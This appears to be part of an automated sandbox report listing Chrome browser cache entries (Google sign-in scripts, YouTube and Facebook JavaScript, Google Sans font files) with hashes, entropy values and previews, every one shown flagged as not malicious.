URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,W2YXuc,YHI3We,YTxL4,ZUKRxc,ZwDk9d,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,qPfo0c,qmdT9,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=bm51tf"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("kMFpHd");._.YSa=new _.Kl(_.fm);._.m();._.k("bm51tf");.var aTa=!!(_.$g[0]>>21&1);var cTa=function(a,b,c,d,e){this.ea=a;this.ta=b;this.ja=c;this.Ca=d;this.Fa=e;this.aa=0;this.da=bTa(this)},dTa=function(a){var b={};_.Ma(a.xM(),function(e){b[e]=!0});var c=a.jM(),d=a.qM();return new cTa(a.jJ(),1E3c.aa(),a.RL(),1E3d.aa(),b)},bTa=function(a){return Math.random()Math.min(a.taMath.pow(a.ja,a.aa),a.Ca)},nF=function(a,b){return a.aa>=a.ea?!1:null!=b?!!a.Fa[b]:!0};var oF=function(a){_.I.call(this,a.Ha);this.Bc=null;this.ea=a.Ea.LP;this.ja=a.Ea.metadata;a=a.Ea.P9;this.da=a.ea.bind(a)};_.z(oF,_.I);oF.Oa=_.I.Oa;oF.Ba=function(){return{Ea:{LP:_.ZSa,metadata:_.YSa,P9:_.RSa}}};oF.prototype.aa=function(a,b){if(1!=this.ja.getType(a.Cd()))return _.ym(a);var c=this.ea.aa;return(c=c?dTa(c):null)&&nF(c)?_.Fra(a,eTa(this,a,b,c)):_.ym(a)};.var eTa=function(a,b,c,d){return c.then(function(e){r

Chrome Cache Entry: 943

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19300)
Category:	downloaded
Size (bytes):	361068
Entropy (8bit):	5.4046488010305875
Encrypted:	false
SSDEEP:	3072:amxmR8P2IcAry2dnFKLPGMZMP9bV4sSDQ7jlf1xfreW8Z:ar8PaAryCKLPGMZA9bVT7xeW8Z
MD5:	F08F2718F467DA1EF5BDF4A3E88DC187
SHA1:	CA25ED1E4072B2659796D1DDBBA23F7E253C430B
SHA-256:	86DD1F10D7F6B1896AF8EE96977D8C5C7D83E2D095B8923EE84EDD574E1DF39C
SHA-512:	ED9566B30B4491710E636D1634CF95EAC5470AC23B5D0433171B3368ADE0DF75D026ED35ABA9FD190B2E0F4BCFDE8B14CB7C32000DD9253C9C2564550AB37F95
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yy/r/E23g9b-s4oe.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/.."use strict";(function(){var a=typeof globalThis!=="undefined"&&globalThis\|\|typeof self!=="undefined"&&self\|\|typeof global!=="undefined"&&global;if(typeof a.AbortController!=="undefined")return;var b=function(){function a(){this.__listeners=new Map()}a.prototype=Object.create(Object.prototype);a.prototype.addEventListener=function(a,b,c){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var d=this.__listeners,e=a.toString();d.has(e)\|\|d.set(e,new Map());var f=d.get(e);f.has(b)\|\|f.set(b,c)};a.prototype.removeEventListener=function(a,b,c){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var d=this.__listeners,e=a.toString();if(d.has(e)){var f=d.get(e);f.has(b)&&f["delete"](b)}};a.prototype.dispatchEvent=function(a){if

Chrome Cache Entry: 944

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HmnY:OY
MD5:	C13E70783B272C1B1F38DF78789CB038
SHA1:	7F182E8DA5EE7FB00A151AC0D205D71E9C017D94
SHA-256:	8800EFDDF6F05E9F2F4263946E6C5AB296C955138B006CE3A74D3B0F143BE92A
SHA-512:	A7F5941549D283934D49EE8BF8FA069D387FBDF3BBB86F884F14FD4E10EB5F6E754F55E0F3F94DCE79EF84FA2787A5F9DB8A24C74BA13BAF379DB66BF35FB8F9
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAk8yq_jFOmFmxIFDfGjW-M=?alt=proto
Preview:	CgkKBw3xo1vjGgA=

Chrome Cache Entry: 945

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (516)
Category:	downloaded
Size (bytes):	9642
Entropy (8bit):	5.435855411923511
Encrypted:	false
SSDEEP:	192:flejPRjM65ile/Q0Y5CaNLMASVZkXK7aACjbN9LDXxdZ7G92tXL74dESC:1oURjwgXK7aAq9LDXxdZ7G0tXL74dESC
MD5:	DAC3D45D4CE59D457459A8DBFCD30232
SHA1:	946DD6B08EB3CF2D063410F9EF2636D648DDB747
SHA-256:	58AE013B8E95B7667124263F632B49A10ACF7DA2889547F2D9E4B279708A29F0
SHA-512:	4F190CE27669725DAC9CF944EAFED150E16B5F9C1E16A0BBF715DE67B9B5A44369C4835DA36E37B2786AAF38103FDC1F7DE3F60D0DC50163F2528D514EBE2243
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/scheduler.vflset/scheduler.js
Preview:	(function(){'use strict';var g;function h(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var k="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function aa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var l=aa(this);function m(a,b){if(b)a:{var c=l;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&k(c,a,{configurable:!0,writable:!0,value:b})}}.m("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}.function c(f,y){this.g=f;k(this,"description",{configurable:!0,writable:!0,value:y}

Chrome Cache Entry: 946

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 21464, version 1.0
Category:	downloaded
Size (bytes):	21464
Entropy (8bit):	7.991635778215233
Encrypted:	true
SSDEEP:	384:kNMw20ZcZdIR049weTGXkBXju/W4irYjhPC09oOtbMDa9HVZycTvwxNTGup:UaxmXXSdiQPCjMvyugNiup
MD5:	923A543CC619EA568F91B723D9FB1EF0
SHA1:	6F4ADE25559645C741D7327C6E16521E43D7E1F9
SHA-256:	BF7344209EDB1BE5A2886C425CF6334A102D76CBEA1471FD50171E2EE92877CD
SHA-512:	A4153751761CD67465374828B0514D7773B8C4ED37779D1ECFD4F19BE4FAA171585C8EE0B4DB59B556399D5D2B9809BA87E04D4715E9D090E1F488D02219D555
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/googlesans/v14/4UaGrENHsxJlGDuGo1OIlL3Owp4.woff2
Preview:	wOF2......S...........St.................................`..~..<..u.....H........6.$..\|. ..r..K..........V...@yF#b...>.[<;P..@.....OINd(...T...C..T.w.s.b..$.....6+. ....R8E$..o..f."MD.@T"...fH..fX..O....AA..F....+v.Q(KpXF..U"..x@...3\|l..E..<.O..~..5M}.".q.#Y9....c.o.s...M.Cr..Dt.,..CtI.O..{D......H...+>K..:.Y..-.l.v......'.....^.Y.k..E..c..~..S..P0.@.....<.!(.P.u.g.2....y..y..Z...v.^..lu.dC.a..o....{.o....h3A.K.I..-.O,..}.c>....Q1]....($..........s..b.X..........CJ.+..4.gE4T.S.{g......(^...bA,...~..R..p...<G."..y.G...k..*'...i.u....I..S....\.......e$..m.2...{K........V......{me.%.}...P3...{.T..i..Av...K..g.... ...R..n..{m....t@Z....1A.H.2...^..R5)..4}..(...T......=...Pg...Y....y..e.$...]U..0.....8..Fs.(..O.....&..f,g..5..1.yo9..:cy...e..A.......i...i...G..4`)..#j.<+..{ai..[..[~.(,......X......3.f.m+3...B......_D.F.X.i.Y#.X......}_.d..`.i..i......T...7v..A.......?..c..~..g..w.D.H)%..B.!.......:.....ZE{........m.FN.....k...0.X...

Chrome Cache Entry: 947

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3004)
Category:	downloaded
Size (bytes):	219321
Entropy (8bit):	5.458247392227865
Encrypted:	false
SSDEEP:	3072:JIU1gpo2CUIa6/TlMDOtxjuj6WXVB4iP1oFQ6q:JIUipCU7gTG1Bh1uI
MD5:	261B256DE1204CF5A8A2D571B6B4D207
SHA1:	BCB7195CC7B6D82131CD36F95E22502D01AFDD35
SHA-256:	E926CF82A6C5FF3294E6B7E98CDBAC0392EC5BCFF78425BB68AD8A192C46BEC0
SHA-512:	AF106733C6F9DF344819B9756695E89836477133A30EB27953D770D586892F6C93958A9D0CC6FD423DA2C38097E0226D6D317F1AE6034268ED3606E3433BD789
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/am=P8BCUo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHG7LP0tMTFgM3w4KqVKFHzS-aFPg/m=_b,_tp"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x1242c03f, 0x31001639, 0x39ce5998, 0x72719ef, 0x6, 0x0, 0x358000, 0x76, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2013 Google LLC.. SPDX-License-Identifier: Apache-2.0./.var baa,daa,Pa,haa,Za,bb,cb,db,eb,iaa,fb,jb,jaa,kaa,ob,naa,paa,qaa,taa,vaa,Kb,zaa,Ob,Aaa,Baa,Tb,Eaa,Gaa,Haa,jc,Iaa,Maa,Naa,Lc,Paa,Qaa,Raa,Qc,Uaa,Taa,Waa,Yc,Xc,Xaa,Zc,Zaa,bd,fd,$aa,aba,qd,pd,ad,Id,iba,kba,lba,gba,mba,oba,pba,Ed,ke,le,ne,ve,zba,Ie,Le,Me,Oe,Cba,Eba,Gba,Hba,Iba,Jba,Mba,Oba,Qba,Rba,Uba,bca,Yba,cca,Ff,Gf,dca,eca,gca,ica,jca,kca,Uf,lca,mca,bg,oca,pca,rca,tca,uca,aaa,vca,ug,wca,wg,xca,yg,Ag,yca,Hg,Ig,Dca,Qg,Rg,Fca;_.aa=function(a){ret

Chrome Cache Entry: 948

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1299)
Category:	downloaded
Size (bytes):	114724
Entropy (8bit):	5.551213200680841
Encrypted:	false
SSDEEP:	3072:wbxHQPJKnX30dnatNADF+Lz+T3J+E1KLd2rDr1I:wdQP0X30dnatNADF+Lz+T3J+eKU3r1I
MD5:	5A4453E9E3E19DE3FBABC55106F72397
SHA1:	7DCACF570ADA05AD90A3C19A59ED5443121DA6E6
SHA-256:	2E0DB94DBC625420B47C18DBE0CCD34D4A9AA08D15023E51F938AEDC753B0E2B
SHA-512:	ABCC8E5C5D4B5988F0AC5B47AAD04A137E26A315F6E5CE577A2227B350ABDB62AAC14A447F0DBD6EFB6DF43C9573DCDCAF1DD862AABA6667F612B3448E305B9B
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,Rkm0ef,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,lsjVmc,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ltDFwf,Rusgnf,Ctsu,UPKV3d,bPkrc,W2YXuc,pxq3x,IZ1fbc,soHxf,kSPLL,qPfo0c,yRXbo,bTi8wc,ywOR5c,PHUIyb"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ltDFwf");.var Krb=_.w("ltDFwf");var jV=function(a){_.J.call(this,a.Ha);var b=this.oa();this.pb=this.Qa("P1ekSe");this.mb=this.Qa("cQwEuf");this.da=b.getData("progressvalue").number(0);this.ja=b.getData("buffervalue").number(1);this.Ca=b.yb("B6Vhqe");this.Ma=b.yb("juhVM");this.ta=b.yb("D6TUi");this.aa=b.yb("qdulke");this.La=0!==this.da;this.Ka=1!==this.ja;this.Fa=[];this.ea=_.It(this).Yb(function(){this.Fa.length&&(this.Fa.forEach(this.o8,this),this.Fa=[]);this.La&&(this.La=!1,_.as(this.pb,"transform","scaleX("+this.da+")"));this.Ka&&.(this.Ka=!1,_.as(this.mb,"transform","scaleX("+this.ja+")"));_.As(b,"B6Vhqe",this.Ca);_.As(b,"D6TUi",this.ta);_.As(b,"juhVM",this.Ma);_.As(b,"qdulke",this.aa)}).build();this.ea();_.Uh&&_.It(this).Yb(function(){b.ob("ieri7c")}).ze().build()();_.mA(this.oa().el(),this.Sa.bind(this))};_.z(jV,_.J);jV.Ba=_.J.Ba;.jV.prototype.Sa=function(a,b){Lrb(

Chrome Cache Entry: 949

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (405)
Category:	downloaded
Size (bytes):	1600
Entropy (8bit):	5.232577190477029
Encrypted:	false
SSDEEP:	48:o7bIjh563SVeDRxiyNvYezjzs3lDC7PBrw:oy1MxvqeAU7lw
MD5:	9893B7BF270B6040B21043437BE2F99A
SHA1:	FC78C7464AC25475BC1A6E0B88B8AABD781B4D28
SHA-256:	C0857956EA6D45C6C6CEE3A976C5FABBD2960E2CF30F1692C974C43E56A49FF3
SHA-512:	38198C8F65A585FF67EB9CD1BC843EF3A24D5EA80B1F8CB2B00FE9A3891667B142B2F6A85529BB7441CCF86D256A83A835AAC1F6CD5F6A9378B2B71DB0F2F71A
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,W2YXuc,YHI3We,YTxL4,ZUKRxc,ZwDk9d,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,bm51tf,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,qPfo0c,qmdT9,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=w9hDv,VwDzFe,A7fCU"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("w9hDv");._.mg(_.lha);_.sx=function(a){_.I.call(this,a.Ha);this.aa=a.Xa.cache};_.z(_.sx,_.I);_.sx.Oa=_.I.Oa;_.sx.Ba=function(){return{Xa:{cache:_.Hq}}};_.sx.prototype.execute=function(a){_.wb(a,function(b){var c;_.Ve(b)&&(c=b.Za.Pb(b.fb));c&&this.aa.lC(c)},this);return{}};_.ls(_.Gha,_.sx);._.m();._.k("VwDzFe");.var HF=function(a){_.I.call(this,a.Ha);this.aa=a.Ea.Kq;this.ea=a.Ea.metadata;this.da=a.Ea.Cq};_.z(HF,_.I);HF.Oa=_.I.Oa;HF.Ba=function(){return{Ea:{Kq:_.hF,metadata:_.YSa,Cq:_.dF}}};HF.prototype.execute=function(a){var b=this;a=this.da.create(a);return _.wb(a,function(c){var d=2===b.ea.getType(c.Cd())?b.aa.Yb(c):b.aa.aa(c);return _.jl(c,_.iF)?d.then(function(e){return _.hd(e)}):d},this)};_.ls(_.Lha,HF);._.m();._.k("sP4Vbe");._.XSa=new _.Kl(_.Hha);._.m();._.k("A7fCU");.var mF=function(a){_.I.call(this,a.Ha);this.aa=a.Ea.wK};_.z(mF,_.I);mF.Oa=_.I.Oa;mF.Ba=function(){r

Chrome Cache Entry: 950

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65405)
Category:	downloaded
Size (bytes):	8396344
Entropy (8bit):	5.620622293496841
Encrypted:	false
SSDEEP:	49152:ZzP+ZvGHiVGZ/qXyPqLbT0KGWTuYJqPukJcD2hk9KaO3cGJAg/y11QL8cpawlE5a:WblGW5ukKRpXvtR
MD5:	D7C0B65B0AD96BD9A399C5073F0629B5
SHA1:	EAE5828897B12C9E2A9D610B89496B83AC74BA5D
SHA-256:	874A9F080CD68532F43D1D2514A74C6991E372BAAB30038EBF66949091E69769
SHA-512:	62BFDFA0A7AB7828A3DB32E5B5E0C2A718912B88A04D34ECDBFCF5B1C7399A8D8F3A5A659043328211935060D1FB525967083203DDC42447D9C3AE792D2A9A6E
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/desktop_polymer.vflset/desktop_polymer.js
Preview:	(function(){./* HTML content inlined from HTML import */.const d=document.createElement("div");.d.setAttribute("inlined-html","");.const finalStyleText="html:not(.style-scope) {\n --primary-text-color: var(--light-theme-text-color);\n --primary-background-color: var(--light-theme-background-color);\n --secondary-text-color: var(--light-theme-secondary-color);\n --disabled-text-color: var(--light-theme-disabled-color);\n --divider-color: var(--light-theme-divider-color);\n --error-color: #dd2c00;\n --primary-color: #3f51b5;\n --light-primary-color: #c5cae9;\n --dark-primary-color: #303f9f;\n --accent-color: #ff4081;\n --light-accent-color: #ff80ab;\n --dark-accent-color: #f50057;\n --light-theme-background-color: #fff;\n --light-theme-base-color: #000;\n --light-theme-text-color: #212121;\n --light-theme-secondary-color: #737373;\n --light-theme-disabled-color: #9b9b9b;\n --light-theme-divider-color: #dbdbdb;\n --dark-theme-background-color: #212121;\n --dark-theme-b

Chrome Cache Entry: 951

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.221928094887362
Encrypted:	false
SSDEEP:	3:tUY/i3+DrMyMcI:tURu5O
MD5:	9504A5854D071E094FAAF5B7B0CD2E1F
SHA1:	B8D00312C0F364361C3C911219D8DD340FDB4AA5
SHA-256:	1693A172DCDEB88D737B7715758D081322CB1DE8D21E9B14C120008E027CC28B
SHA-512:	6E55D3E4D05AE6A0A93CE848E1466FC23552D9B5EBC6680196BD0A961474034B2D73716D73CA8283ADACC0D52BBC80B4B1167F9B554614F4B9AA2BDD3449F13E
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwkbMnFS9SzlUhIFDXhvEhkSBQ3Fk8Qk?alt=proto
Preview:	ChwKDQ14bxIZGgQIVhgCIAEKCw3Fk8QkGgQISxgC

Chrome Cache Entry: 952

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 21700, version 1.0
Category:	downloaded
Size (bytes):	21700
Entropy (8bit):	7.989666631701204
Encrypted:	false
SSDEEP:	384:PxbG/ZciREUTWlMwbptJm5f9/1HuLZ4r38bxSpfGL/+SHA+ilQlO3fq8O/4s:5bfiBWlRPm5fjrruYJGTiqlO3fo/p
MD5:	7D75A9EB3B38B5DD04B8A7CE4F1B87CC
SHA1:	68F598C84936C9720C5FFD6685294F5C94000DFF
SHA-256:	6C24799E77B963B00401713A1DBD9CBA3A00249B9363E2C194D01B13B8CDB3D7
SHA-512:	CF0488C34A1AF36B1BB854DEA2DECFC8394F47831B1670CAB3EED8291B61188484CC8AB0A726A524ECDD20B71D291BCCCBC2CE999FD91662ACA63D2D22ED0D9F
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/googlesans/v14/4UabrENHsxJlGDuGo1OIlLU94YtzCwY.woff2
Preview:	wOF2......T...........T_..........................4......`..~..d..u.....,..$.....6.$..\|. ..V..K..^.=...sp.f.m../....l\.....T.9.n..A...........2x.{P[V..v%..M...f.7..+c.cM.'...$..u.H4[?i.'..T..+.(...L...inV.@.dd....T.. }b...c.ghRA..I$.su.....`....Q.OB..S.{.#.3..o.{v.........n...]f#b.J_.......}# ..1... F........=?O.\|._p........X.6.VQ..E..rU...}....dK.$...0.W..2i..Y...9.Y.............f{..6'....C:%.(........}.....W..._....k...\|.........Y8./..e..........L......_.9..v...2F..$..y)....UWu_..T.]qE.H.b..OP...B@.4.!,F..._............z.3..A,h.M.(...6~_[U$.....uM2...qz.v.........hV\\|?.......M-.h..by.A,.}.....?...52.g.,....<..s..k....h.U.]1.1..O......m......j...}6.j.v.a..R....Fj...).fO3........GSM....... ...GL..({A....$O..&'..\....:.x....{N.p8..q..iF..k...b.>....<..M..`.....d.I.5... .x...mo.L.?A(..F }./.._V.e.A.Z3.....C...h...f......(,..3....%.h'.?sG..&x..W.......b].'34.S#s...wiG.O....J.ADDDDBw.m;.....K.ti).....?.6.\.M..d.....[.z....4..D.b...6..F.....F..D.r

Chrome Cache Entry: 953

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (715)
Category:	downloaded
Size (bytes):	50702
Entropy (8bit):	5.373070303650078
Encrypted:	false
SSDEEP:	1536:Ifd/sRuiALPAavkj70bI5D4nDltOC2B7F:IfdURZGvkjob44J8F
MD5:	44CA3D8FD5FF91ED90D1A2AB099EF91E
SHA1:	79B76340CA0781FD98AA5B8FDCA9496665810195
SHA-256:	C12E3AC9660AE5DE2D775A8C52E22610FFF7A651FA069CFA8F64675A7B0A6415
SHA-512:	A5CE9D846FB4C43A078D364974B22C18A504CDBF2DA3D36C689D450A5DC7D0BE156A29E11DF301FF7E187B831E14A6E5B037AAD22F00C03280EE1AD1E829DAC8
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/web-animations-next-lite.min.vflset/web-animations-next-lite.min.js
Preview:	/*.. Copyright 2014 Google Inc. All rights reserved... Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0.. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License... Copyright 2016 Google Inc. All rights reserved... Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0.. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,.

Chrome Cache Entry: 954

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 32140, version 1.0
Category:	downloaded
Size (bytes):	22952
Entropy (8bit):	7.991680105632347
Encrypted:	true
SSDEEP:	384:jr5aTxwzzLPeC++myJFm9tiwGKzOu5oxQIQU1VzQqyLYA/yowSjT1+qmiBsw9vT:sWzfeCBJsfRau5EAgzQRLYxSjbmin7
MD5:	5F84295EBC49349E9CD0E1F362CAE3FB
SHA1:	15C24F1E5574744A69E02987941520C4A901CB9F
